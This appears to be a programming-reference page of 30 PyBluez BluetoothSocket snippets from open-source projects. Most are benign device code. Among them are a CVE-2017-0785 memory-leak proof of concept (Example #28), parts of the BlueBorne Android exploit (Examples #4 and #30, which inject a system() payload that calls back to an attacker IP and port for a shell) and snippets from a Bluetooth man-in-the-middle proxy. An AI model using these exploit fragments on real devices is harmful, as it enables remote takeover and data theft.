Python bluetooth.BluetoothSocket() Examples

The following are 30 code examples of bluetooth.BluetoothSocket(). You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may also want to check out all available functions/classes of the module bluetooth , or try the search function .
Example #1
Source File: bluetoothScanner.py    From sensorReporter with Apache License 2.0 7 votes vote down vote up
def getRSSI(self):
        """Detects whether the device is near by or not using RSSI"""
        addr = self.address

        # Open hci socket
        hci_sock = bt.hci_open_dev()
        hci_fd = hci_sock.fileno()

        # Connect to device (to whatever you like)
        bt_sock = bluetooth.BluetoothSocket(bluetooth.L2CAP)
        bt_sock.settimeout(10)
        result = bt_sock.connect_ex((addr, 1))	# PSM 1 - Service Discovery

        try:
            # Get ConnInfo
            reqstr = struct.pack("6sB17s", bt.str2ba(addr), bt.ACL_LINK, "\0" * 17)
            request = array.array("c", reqstr )
            handle = fcntl.ioctl(hci_fd, bt.HCIGETCONNINFO, request, 1)
            handle = struct.unpack("8xH14x", request.tostring())[0]

            # Get RSSI
            cmd_pkt=struct.pack('H', handle)
            rssi = bt.hci_send_req(hci_sock, bt.OGF_STATUS_PARAM,
                         bt.OCF_READ_RSSI, bt.EVT_CMD_COMPLETE, 4, cmd_pkt)
            rssi = struct.unpack('b', rssi[3])[0]

            # Close sockets
            bt_sock.close()
            hci_sock.close()

            return rssi

        except Exception, e:
            #self.logger.error("<Bluetooth> (getRSSI) %s" % (repr(e)))
            return None 
Example #2
Source File: bluetooth_battery.py    From Bluetooth_Headset_Battery_Level with GNU General Public License v3.0 6 votes vote down vote up
def main():
    if (len(sys.argv) < 2):
        print("Usage: bl_battery.py <BT_MAC_ADDRESS_1>[.PORT] ...")
        print("         Port number is optional (default = 4)")
        exit()
    else:
        for device in sys.argv[1:]:
            i = device.find('.')
            if i == -1:
                port = 4
            else:
                port = int(device[i+1:])
                device = device[:i]
            try:
                s = bluetooth.BluetoothSocket(bluetooth.RFCOMM)
                s.connect((device, port))
                while getATCommand(s, s.recv(128), device):
                    pass
                s.close()
            except OSError as e:
                print(f"{device} is offline", e) 
Example #3
Source File: mitm.py    From btproxy with GNU General Public License v3.0 6 votes vote down vote up
def start_service(self, service, adapter_addr=''):
        print_verbose('Starting service ',service)
        server_sock=None
        if service['port'] in self.servers:
            print('Port',service['port'],'is already binded to')
            return server_sock

        if service['protocol'].lower() == 'l2cap':
            server_sock=BluetoothSocket( L2CAP )
        else:
            server_sock=BluetoothSocket( RFCOMM )
        addrport = (adapter_address(self.master_adapter),service['port'])
        print_verbose('Binding to ',addrport)

        server_sock.bind(addrport)
        self.servers.append(service['port'])
        server_sock.listen(1)

        port = server_sock.getsockname()[1]

        return server_sock 
Example #4
Source File: doit.py    From blueborne with GNU General Public License v3.0 6 votes vote down vote up
def set_bt_name(payload, src_hci, src, dst):
    # Create raw HCI sock to set our BT name
    raw_sock = bt.hci_open_dev(bt.hci_devid(src_hci))
    flt = bt.hci_filter_new()
    bt.hci_filter_all_ptypes(flt)
    bt.hci_filter_all_events(flt)
    raw_sock.setsockopt(bt.SOL_HCI, bt.HCI_FILTER, flt)

    # Send raw HCI command to our controller to change the BT name (first 3 bytes are padding for alignment)
    raw_sock.sendall(binascii.unhexlify('01130cf8cccccc') + payload.ljust(MAX_BT_NAME, b'\x00'))
    raw_sock.close()
    #time.sleep(1)
    time.sleep(0.1)

    # Connect to BNEP to "refresh" the name (does auth)
    bnep = bluetooth.BluetoothSocket(bluetooth.L2CAP)
    bnep.bind((src, 0))
    bnep.connect((dst, BNEP_PSM))
    bnep.close()

    # Close ACL connection
    os.system('hcitool dc %s' % (dst,))
    #time.sleep(1) 
Example #5
Source File: mitm.py    From btproxy with GNU General Public License v3.0 5 votes vote down vote up
def send(self,data,):
        if self.sticky_state == self.not_connected:
            if self.address is None: 
                raise RuntimeError('No address is set in sticky socket')
            self.connect(self.address)
        elif self.sticky_state == self.disconnected:
            self.rebuild()
            self.connect(self.address)
        if self._cb and not self.prevent_recursion:
            self.prevent_recursion = True
            data = self._cb(self,data)
            self.prevent_recursion = False
        return bluetooth.BluetoothSocket.send(self,data) 
Example #6
Source File: bluezchat.py    From python-for-android with Apache License 2.0 5 votes vote down vote up
def start_server(self):
        self.server_sock = bluetooth.BluetoothSocket (bluetooth.L2CAP)
        self.server_sock.bind(("",0x1001))
        self.server_sock.listen(1)

        gobject.io_add_watch(self.server_sock, 
                gobject.IO_IN, self.incoming_connection) 
Example #7
Source File: btk.py    From btk with MIT License 5 votes vote down vote up
def loop():
    bus = SystemBus()
    bus.own_name('net.lvht.btk')
    obj_path = '/net/lvht/btk/HIDProfile'

    sock = bt.BluetoothSocket(bt.L2CAP)
    sock.setblocking(False)
    try:
        sock.bind(('', PSM_INTR))
    except:
        print("For bluez5 add --noplugin=input to the bluetoothd commandline")
        print("Else there is another application running that has it open.")
        sys.exit(errno.EACCES)
    sock.listen(1)

    profile = HIDProfile(bus.con, obj_path, sock)

    opts = {
        "PSM": GLib.Variant.new_uint16(PSM_CTRL),
        "ServiceRecord": GLib.Variant.new_string(open('sdp_record.xml', 'r').read()),
        "RequireAuthentication": GLib.Variant.new_boolean(True),
        "RequireAuthorization": GLib.Variant.new_boolean(False),
    }
    manager = bus.get('org.bluez')['.ProfileManager1']
    manager.RegisterProfile(obj_path, str(uuid.uuid4()), opts)

    profile.run() 
Example #8
Source File: divoom_device.py    From divoom-adapter with GNU General Public License v3.0 5 votes vote down vote up
def __init__(self, addr):
		self.sock = bluetooth.BluetoothSocket(bluetooth.RFCOMM)
		self.addr = addr 
Example #9
Source File: bt_rssi.py    From bluetooth-proximity with Apache License 2.0 5 votes vote down vote up
def __init__(self, addr):
        self.addr = addr
        self.hci_sock = bt.hci_open_dev()
        self.hci_fd = self.hci_sock.fileno()
        self.bt_sock = bluetooth.BluetoothSocket(bluetooth.L2CAP)
        self.bt_sock.settimeout(10)
        self.connected = False
        self.cmd_pkt = None 
Example #10
Source File: mitm.py    From btproxy with GNU General Public License v3.0 5 votes vote down vote up
def __init__(self,address=None,proto=None, **kwargs):
        self.not_connected = 0
        self.connected = 1
        self.disconnected = 2
        self.sticky_state = self.not_connected
        self.address = address
        self.prevent_recursion = False
        self.target = kwargs.get('target',None)
        self.server = kwargs.get('server',False)
        self._cb = kwargs.get('callback',None)
        if 'sock' in kwargs:
            proto = kwargs['sock']._proto
        bluetooth.BluetoothSocket.__init__(self,proto,kwargs.get('sock',None)) 
Example #11
Source File: mitm.py    From btproxy with GNU General Public License v3.0 5 votes vote down vote up
def close(self,):
        bluetooth.BluetoothSocket.close(self,)
        self.sticky_state = self.not_connected 
Example #12
Source File: bt.py    From pyescpos with Apache License 2.0 5 votes vote down vote up
def catch(self):
        _check_lib_bluetooth()
        self.socket = bluetooth.BluetoothSocket(bluetooth.RFCOMM)
        self.socket.connect((self.address, self.port)) 
Example #13
Source File: mitm.py    From btproxy with GNU General Public License v3.0 5 votes vote down vote up
def accept(self,):
        newsock,addr= bluetooth.BluetoothSocket.accept(self,)
        newsock = StickyBluetoothSocket(addr, self._proto, sock=newsock)
        newsock.sticky_state = self.connected
        return newsock,addr 
Example #14
Source File: mitm.py    From btproxy with GNU General Public License v3.0 5 votes vote down vote up
def rebuild(self,):
        bluetooth.BluetoothSocket.__init__(self,self._proto)
        self.sticky_state = self.not_connected
        #self.connect(self.address) 
Example #15
Source File: mitm.py    From btproxy with GNU General Public License v3.0 5 votes vote down vote up
def connect_to_svc(self,device, **kwargs):
        print_verbose('connecting to', device)
        socktype = bluetooth.RFCOMM
        if device['protocol'] == None or device['protocol'].lower() == 'rfcomm':
            socktype = bluetooth.RFCOMM

        elif device['protocol'].lower() == 'l2cap':
            socktype = bluetooth.L2CAP
        else:
            print('Unsupported protocol '+device['protocol'])

        while True:
            try:
                sock=bluetooth.BluetoothSocket( socktype )
                if kwargs.get('addr',None) == 'slave' and 0:
                    for i in range(0,3):
                        try:
                            addrport=(adapter_address(self.slave_adapter),self.starting_psm)
                            print_verbose('binding to ', addrport)
                            sock.bind(addrport)
                            self.starting_psm += 2
                            break
                        except BluetoothError as e:
                            if i==2: raise e

                sock.connect((device['host'], device['port'] if device['port'] else 1))

                print_verbose('Connected')
                return sock
            except BluetoothError as e:
                if not kwargs.get('reconnect',False):
                    raise RuntimeError(e)
                print('Reconnecting...') 
Example #16
Source File: bt.py    From calvin-base with Apache License 2.0 5 votes vote down vote up
def createInternetSocket(self):
        s = bluetooth.BluetoothSocket(bluetooth.RFCOMM)
        s.setblocking(0)
        tcp.fdesc._setCloseOnExec(s.fileno())
        return s 
Example #17
Source File: bt.py    From calvin-base with Apache License 2.0 5 votes vote down vote up
def createInternetSocket(self):
        s = bluetooth.BluetoothSocket(bluetooth.RFCOMM)
        s.setblocking(0)
        if platformType == "posix" and sys.platform != "cygwin":
            s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        return s 
Example #18
Source File: thinkgear.py    From cloudbrain with GNU Affero General Public License v3.0 5 votes vote down vote up
def initializeBluetoothDevice(self):

        socket = bluetooth.BluetoothSocket(bluetooth.RFCOMM)

        try:
            socket.connect(
                (self.device_address, THINKGEAR_DEVICE_BLUETOOTH_CHANNEL))

        except Exception, e:
            if self.DEBUG:
                print("ERROR: %s" % e)
                sys.exit() 
Example #19
Source File: bluezchat.py    From python-for-android with Apache License 2.0 5 votes vote down vote up
def connect(self, addr):
        sock = bluetooth.BluetoothSocket (bluetooth.L2CAP)
        try:
            sock.connect((addr, 0x1001))
        except bluez.error, e:
            self.add_text("\n%s" % str(e))
            sock.close()
            return 
Example #20
Source File: bluetooth.py    From peach with Mozilla Public License 2.0 5 votes vote down vote up
def start(self):
        if self._socket:
            return

        if usingLightBlue:
            for each_try in range(1, 5):
                print("[*] Connecting to %s on PSM %d (%d)" % (self.ba_addr, self.port, each_try))
                try:
                    self._socket = lightblue.socket(lightblue.L2CAP)
                    self._socket.connect((self.ba_addr, self.port))
                except socket.error:
                    self._socket = None
                    print("Failed.")
                    print("Wait {} seconds ...".format(self.giveup))
                    time.sleep(self.giveup)
                else:
                    print("Done.")
                    break

        if usingBluetooth:
            for each_try in range(1, 5):
                print("[*] Connecting to %s on PSM %d (%d)" % (self.ba_addr, self.port, each_try))
                try:
                    self._socket = bluetooth.BluetoothSocket(bluetooth.L2CAP)
                    self._socket.connect((self.ba_addr, self.port))
                except socket.error:
                    self._socket = None
                    print("Failed.")
                    print("Wait {} seconds ...".format(self.giveup))
                    time.sleep(self.giveup)
                else:
                    print("Done.")
                    break
        print("")

        if not self._socket:
            raise PeachException("L2CAP connection attempt failed.") 
Example #21
Source File: bluetooth.py    From peach with Mozilla Public License 2.0 5 votes vote down vote up
def pybluez_server_test():
    s = bluetooth.BluetoothSocket(bluetooth.L2CAP)
    s.bind(("", 0x1001))
    s.listen(1)
    conn, addr = s.accept()
    print("Connected by %s" % addr)
    data = s.recv(1024)
    print("Received: %s" % data)
    conn.close()
    s.close() 
Example #22
Source File: message_process.py    From miaomiaoji-tool with MIT License 5 votes vote down vote up
def connect(self):
        if self.address is None and not self.scandevices():
            return False
        if not self.scanservices():
            return False
        logging.info("Service found. Connecting to \"%s\" on %s..." % (self.service["name"], self.service["host"]))
        self.sock = BluetoothSocket(RFCOMM)
        self.sock.connect((self.service["host"], self.service["port"]))
        self.sock.settimeout(60)
        logging.info("Connected.")
        self.registerCrcKeyToBt()
        return True 
Example #23
Source File: tcp_bridge.py    From ReachView with GNU General Public License v3.0 5 votes vote down vote up
def initialize(self):
        self.server_socket = bluetooth.BluetoothSocket(bluetooth.RFCOMM)
        self.server_socket.bind(("",bluetooth.PORT_ANY))
        self.server_socket.listen(1)

        port = self.server_socket.getsockname()[1]
        uuid = "94f39d29-7d6d-437d-973b-fba39e49d4ee"

        bluetooth.advertise_service(
            self.server_socket,
            "ReachBluetoothSocket",
            service_id = uuid,
            service_classes = [uuid, bluetooth.SERIAL_PORT_CLASS],
            profiles = [bluetooth.SERIAL_PORT_PROFILE],
        ) 
Example #24
Source File: __init__.py    From platypush with MIT License 5 votes vote down vote up
def connect(self, protocol=None, device: str = None, port: int = None, service_uuid: str = None,
                service_name: str = None):
        """
        Connect to a bluetooth device.
        You can query the advertised services through ``find_service``.

        :param protocol: Supported values: either 'RFCOMM'/'L2CAP' (str) or bluetooth.RFCOMM/bluetooth.L2CAP
            int constants (int)
        :param device: Device address or name
        :param port: Port number
        :param service_uuid: Service UUID
        :param service_name: Service name
        """
        from bluetooth import BluetoothSocket

        addr, port, protocol = self._get_addr_port_protocol(protocol=protocol, device=device, port=port,
                                                            service_uuid=service_uuid, service_name=service_name)
        sock = self._get_sock(protocol=protocol, device=addr, port=port)
        if sock:
            self.close(device=addr, port=port)

        sock = BluetoothSocket(protocol)
        self.logger.info('Opening connection to device {} on port {}'.format(addr, port))
        sock.connect((addr, port))
        self.logger.info('Connected to device {} on port {}'.format(addr, port))
        self._socks[(addr, port)] = sock 
Example #25
Source File: MindwaveMobileRawReader.py    From NeuroPi with GNU General Public License v3.0 5 votes vote down vote up
def connectToMindWaveMobile(self, mac):
        # connecting via bluetooth RFCOMM
        self.mindwaveMobileSocket = bluetooth.BluetoothSocket(bluetooth.RFCOMM)
        mindwaveMobileAddress = mac;
        while(True):
            try:
                self.mindwaveMobileSocket.connect((mindwaveMobileAddress, 1))
                return;
            except bluetooth.btcommon.BluetoothError as error:
                print "Could not connect: ", error, "; Retrying in 5s..."
                time.sleep(5) 
Example #26
Source File: test_bluetooth.py    From self_driving_pi_car with MIT License 5 votes vote down vote up
def test_bluetooth_1_connection(self):
        socket = blue.BluetoothSocket(blue.RFCOMM)
        socket.connect((self.ID, 1))
        peer_name = socket.getpeername()
        self.assertEqual(self.ID, peer_name[0]) 
Example #27
Source File: bluesock.py    From nxt-python with GNU General Public License v3.0 5 votes vote down vote up
def connect(self):
        if self.debug:
            print('Connecting via Bluetooth...')
        sock = bluetooth.BluetoothSocket(bluetooth.RFCOMM)
        sock.connect((self.host, BlueSock.PORT))
        self.sock = sock
        if self.debug:
            print('Connected.')
        return Brick(self) 
Example #28
Source File: CVE-2017-0785.py    From bluescan with GNU General Public License v3.0 4 votes vote down vote up
def main():
    target_bd_addr = args['BD_ADDR']

    l2cap_mtu = 50

    sock = BluetoothSocket(L2CAP)
    set_l2cap_mtu(sock, l2cap_mtu)

    sock.connect((target_bd_addr, PSM_SDP))

    print('Sending the first SDP_SERVICE_SEARCH_REQ PDU')
    params = {
        'ServiceSearchPattern': b'\x35\x03\x19\x01\x00',
        'MaximumServiceRecordCount': 0xFFFF,
        'ContinuationState': b'\x00'
    }
    sock.send(sdp_service_search_req(params))
    sdp_service_search_rsp = sock.recv(l2cap_mtu)
    
    info_len = sdp_service_search_rsp[-3]
    if info_len != ANDROID_CONT_STATE_INFO_LEN:
        print(sdp_service_search_rsp[-3])
        print('Invalid continuation state received.')
        sys.exit(1)

    stack = b''
    for i in range(1, 30): # 越界读的次数太多会导致目标蓝牙崩溃
        print('Sending packet %d' % i)
        params = {
            'ServiceSearchPattern': b'\x35\x03\x19\x01\x00',
            'MaximumServiceRecordCount': 0x0001,
            'ContinuationState': sdp_service_search_rsp[-3:]
        }
        sock.send(sdp_service_search_req(params))
        sdp_service_search_rsp = sock.recv(l2cap_mtu)
        
        # Leaked info is in ServiceRecordHandleList field
        stack += sdp_service_search_rsp[9:-3]

    sock.close()

    print(hexdump(stack))
    if len(stack) > 20:
        print('CVE-2017-0785') 
Example #29
Source File: scratch_link.py    From bluepy-scratch-link with BSD 3-Clause "New" or "Revised" License 4 votes vote down vote up
def handle_request(self, method, params):
        """Handle requests from Scratch"""
        logger.debug("handle request to BT device")
        logger.debug(method)
        if len(params) > 0:
            logger.debug(params)

        res = { "jsonrpc": "2.0" }

        if self.status == self.INITIAL and method == 'discover':
            logger.debug("Starting async discovery")
            self.status = self.DISCOVERY
            self.bt_thread = self.BTThread(self, params["majorDeviceClass"], params["minorDeviceClass"])
            self.bt_thread.start()
            res["result"] = None

        elif self.status in [self.DISCOVERY, self.DISCOVERY_COMPLETE] and method == 'connect':

            # Cancel discovery
            while self.status == self.DISCOVERY:
                logger.debug("Cancelling discovery")
                self.bt_thread.cancel_discovery = True
                time.sleep(1)

            addr = params['peripheralId']
            logger.debug(f"connecting to the BT device {addr}")
            try:
                self.sock = bluetooth.BluetoothSocket(bluetooth.RFCOMM)
                self.sock.connect((addr, 1))
                logger.info(f"connected to BT device: {addr}")
            except bluetooth.BluetoothError as e:
                logger.error(f"failed to connect to BT device: {e}", exc_info=e)
                self.status = self.DONE
                self.sock = None

            if self.sock:
                res["result"] = None
                self.status = self.CONNECTED
            else:
                err_msg = f"BT connect failed: {addr}"
                res["error"] = { "message": err_msg }
                self.status = self.DONE

        elif self.status == self.CONNECTED and method == 'send':
            logger.debug("handle send request")
            if params['encoding'] != 'base64':
                logger.error("encoding other than base 64 is not "
                                 "yet supported: ", params['encoding'])
            msg_bstr = params['message'].encode('ascii')
            data = base64.standard_b64decode(msg_bstr)
            self.sock.send(data)
            res['result'] = len(data)

        logger.debug(res)
        return res 
Example #30
Source File: doit.py    From blueborne with GNU General Public License v3.0 4 votes vote down vote up
def pwn(src_hci, dst, bluetooth_default_bss_base, system_addr, acl_name_addr, my_ip, libc_text_base):
    # Gen new BDADDR, so that the new BT name will be cached
    src = set_rand_bdaddr(src_hci)

    # Payload is: '"\x17AAAAAAsysm";\n<bash_commands>\n#'
    # 'sysm' is the address of system() from libc. The *whole* payload is a shell script.
    # 0x1700 == (0x1722 & 0xff00) is the "event" of a "HORRIBLE_HACK" message.
    payload = struct.pack('<III', 0xAAAA1722, 0x41414141, system_addr) + b'";\n' + \
                          SHELL_SCRIPT.format(ip=my_ip, port=NC_PORT) + b'\n#'

    assert len(payload) < MAX_BT_NAME
    assert b'\x00' not in payload

    # Puts payload into a known bss location (once we create a BNEP connection).
    set_bt_name(payload, src_hci, src, dst)

    prog = log.progress('Connecting to BNEP again')

    bnep = bluetooth.BluetoothSocket(bluetooth.L2CAP)
    bnep.bind((src, 0))
    bnep.connect((dst, BNEP_PSM))

    prog.success()
    prog = log.progress('Pwning...')

    # Each of these messages causes BNEP code to send 100 "command not understood" responses.
    # This causes list_node_t allocations on the heap (one per reponse) as items in the xmit_hold_q.
    # These items are popped asynchronously to the arrival of our incoming messages (into hci_msg_q).
    # Thus "holes" are created on the heap, allowing us to overflow a yet unhandled list_node of hci_msg_q.
    for i in range(20):
        bnep.send(binascii.unhexlify('8109' + '800109' * 100))

    # Repeatedly trigger the vuln (overflow of 8 bytes) after an 8 byte size heap buffer.
    # This is highly likely to fully overflow over instances of "list_node_t" which is exactly
    # 8 bytes long (and is *constantly* used/allocated/freed on the heap).
    # Eventually one overflow causes a call to happen to "btu_hci_msg_process" with "p_msg"
    # under our control. ("btu_hci_msg_process" is called *constantly* with messages out of a list)
    for i in range(1000):
        # If we're blocking here, the daemon has crashed
        _, writeable, _ = select.select([], [bnep], [], PWNING_TIMEOUT)
        if not writeable:
            break
        bnep.send(binascii.unhexlify('810100') +
                  struct.pack('<II', 0, acl_name_addr))
    else:
        log.info("Looks like it didn't crash. Possibly worked")

    prog.success()